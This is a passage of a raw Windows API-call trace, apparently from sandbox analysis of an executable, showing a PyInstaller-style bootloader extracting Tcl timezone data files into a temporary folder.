lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.004] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.005] GetFileType (hFile=0x10c) returned 0x1 [0039.005] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.005] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.005] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.005] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.005] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.005] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.005] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.005] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.005] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.005] CloseHandle (hObject=0x10c) returned 1 [0039.005] GetLastError () returned 0x0 [0039.005] SetLastError (dwErrCode=0x0) [0039.005] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.005] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.005] GetFileType (hFile=0x10c) returned 0x1 [0039.005] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.005] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.005] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.005] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.005] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.005] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.005] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.005] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.006] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.006] CloseHandle (hObject=0x10c) returned 1 [0039.006] GetLastError () returned 0x0 [0039.006] SetLastError (dwErrCode=0x0) [0039.006] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.006] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.006] GetFileType (hFile=0x10c) returned 0x1 [0039.006] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.006] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.006] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.006] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.006] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.006] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.006] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.006] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.006] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.006] CloseHandle (hObject=0x10c) returned 1 [0039.006] GetLastError () returned 0x0 [0039.006] SetLastError (dwErrCode=0x0) [0039.006] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Juneau") returned 71 [0039.006] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Juneau" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\juneau"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.006] GetLastError () returned 0x2 [0039.006] SetLastError (dwErrCode=0x2) [0039.007] GetLastError () returned 0x2 [0039.007] SetLastError (dwErrCode=0x2) [0039.007] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Juneau", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Juneau", lpFilePart=0x0) returned 0x46 [0039.007] GetLastError () returned 0x2 [0039.007] SetLastError (dwErrCode=0x2) [0039.007] GetLastError () returned 0x2 [0039.007] SetLastError (dwErrCode=0x2) [0039.007] GetLastError () returned 0x2 [0039.007] SetLastError (dwErrCode=0x2) [0039.007] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Juneau") returned 71 [0039.007] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.007] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Juneau" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\juneau"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.008] GetFileType (hFile=0x10c) returned 0x1 [0039.008] htonl (hostlong=0xd6200000) returned 0x20d6 [0039.008] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.009] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.009] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xd6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xd6, lpOverlapped=0x0) returned 1 [0039.009] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.009] CloseHandle (hObject=0x10c) returned 1 [0039.010] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.010] htonl (hostlong=0x30000000) returned 0x30 [0039.010] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.010] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.010] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.010] GetFileType (hFile=0x10c) returned 0x1 [0039.010] htonl (hostlong=0x906e5900) returned 0x596e90 [0039.010] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e1e90, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.010] htonl (hostlong=0x49070000) returned 0x749 [0039.010] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x749) returned 0x55e278 [0039.010] htonl (hostlong=0x49070000) returned 0x749 [0039.010] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.010] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.010] htonl (hostlong=0x74240000) returned 0x2474 [0039.010] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2474) returned 0x561090 [0039.010] htonl (hostlong=0x49070000) returned 0x749 [0039.010] htonl (hostlong=0x74240000) returned 0x2474 [0039.010] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563510 [0039.011] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563510 | out: hHeap=0x530000) returned 1 [0039.011] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.011] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.011] CloseHandle (hObject=0x10c) returned 1 [0039.011] GetLastError () returned 0x0 [0039.011] SetLastError (dwErrCode=0x0) [0039.011] GetLastError () returned 0x0 [0039.011] SetLastError (dwErrCode=0x0) [0039.011] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.011] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.011] GetFileType (hFile=0x10c) returned 0x1 [0039.011] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.011] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.011] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.011] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.011] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.011] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.011] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.011] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.011] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.011] CloseHandle (hObject=0x10c) returned 1 [0039.011] GetLastError () returned 0x0 [0039.011] SetLastError (dwErrCode=0x0) [0039.012] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.012] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.012] GetFileType (hFile=0x10c) returned 0x1 [0039.012] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.012] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.012] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.012] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.012] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.012] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.012] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.012] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.012] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.012] CloseHandle (hObject=0x10c) returned 1 [0039.012] GetLastError () returned 0x0 [0039.012] SetLastError (dwErrCode=0x0) [0039.012] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.012] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.012] GetFileType (hFile=0x10c) returned 0x1 [0039.012] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.012] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.012] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.012] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.012] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.012] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.013] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.013] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.013] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.013] CloseHandle (hObject=0x10c) returned 1 [0039.013] GetLastError () returned 0x0 [0039.013] SetLastError (dwErrCode=0x0) [0039.013] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kentucky") returned 73 [0039.013] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kentucky" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\kentucky"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.013] GetLastError () returned 0x2 [0039.013] SetLastError (dwErrCode=0x2) [0039.013] GetLastError () returned 0x2 [0039.013] SetLastError (dwErrCode=0x2) [0039.013] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kentucky", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kentucky", lpFilePart=0x0) returned 0x48 [0039.013] GetLastError () returned 0x2 [0039.013] SetLastError (dwErrCode=0x2) [0039.013] GetLastError () returned 0x2 [0039.013] SetLastError (dwErrCode=0x2) [0039.013] GetLastError () returned 0x2 [0039.013] SetLastError (dwErrCode=0x2) [0039.013] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kentucky" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\kentucky"), lpSecurityAttributes=0x0) returned 1 [0039.013] GetLastError () returned 0x2 [0039.013] SetLastError (dwErrCode=0x2) [0039.014] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kentucky\\Louisville") returned 84 [0039.014] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kentucky\\Louisville" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\kentucky\\louisville"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.014] GetLastError () returned 0x2 [0039.014] SetLastError (dwErrCode=0x2) [0039.014] GetLastError () returned 0x2 [0039.014] SetLastError (dwErrCode=0x2) [0039.014] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kentucky\\Louisville", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kentucky\\Louisville", lpFilePart=0x0) returned 0x53 [0039.014] GetLastError () returned 0x2 [0039.014] SetLastError (dwErrCode=0x2) [0039.014] GetLastError () returned 0x2 [0039.014] SetLastError (dwErrCode=0x2) [0039.014] GetLastError () returned 0x2 [0039.014] SetLastError (dwErrCode=0x2) [0039.014] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kentucky\\Louisville") returned 84 [0039.014] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.014] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kentucky\\Louisville" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\kentucky\\louisville"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.015] GetFileType (hFile=0x10c) returned 0x1 [0039.015] htonl (hostlong=0x74240000) returned 0x2474 [0039.015] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.016] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.016] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x474, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x474, lpOverlapped=0x0) returned 1 [0039.016] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.016] CloseHandle (hObject=0x10c) returned 1 [0039.017] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.018] htonl (hostlong=0x40000000) returned 0x40 [0039.018] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.018] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.018] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.018] GetFileType (hFile=0x10c) returned 0x1 [0039.018] htonl (hostlong=0xd9755900) returned 0x5975d9 [0039.018] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e25d9, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.018] htonl (hostlong=0x86060000) returned 0x686 [0039.018] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x686) returned 0x55e278 [0039.018] htonl (hostlong=0x86060000) returned 0x686 [0039.018] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.019] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.019] htonl (hostlong=0x57200000) returned 0x2057 [0039.019] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2057) returned 0x561090 [0039.019] htonl 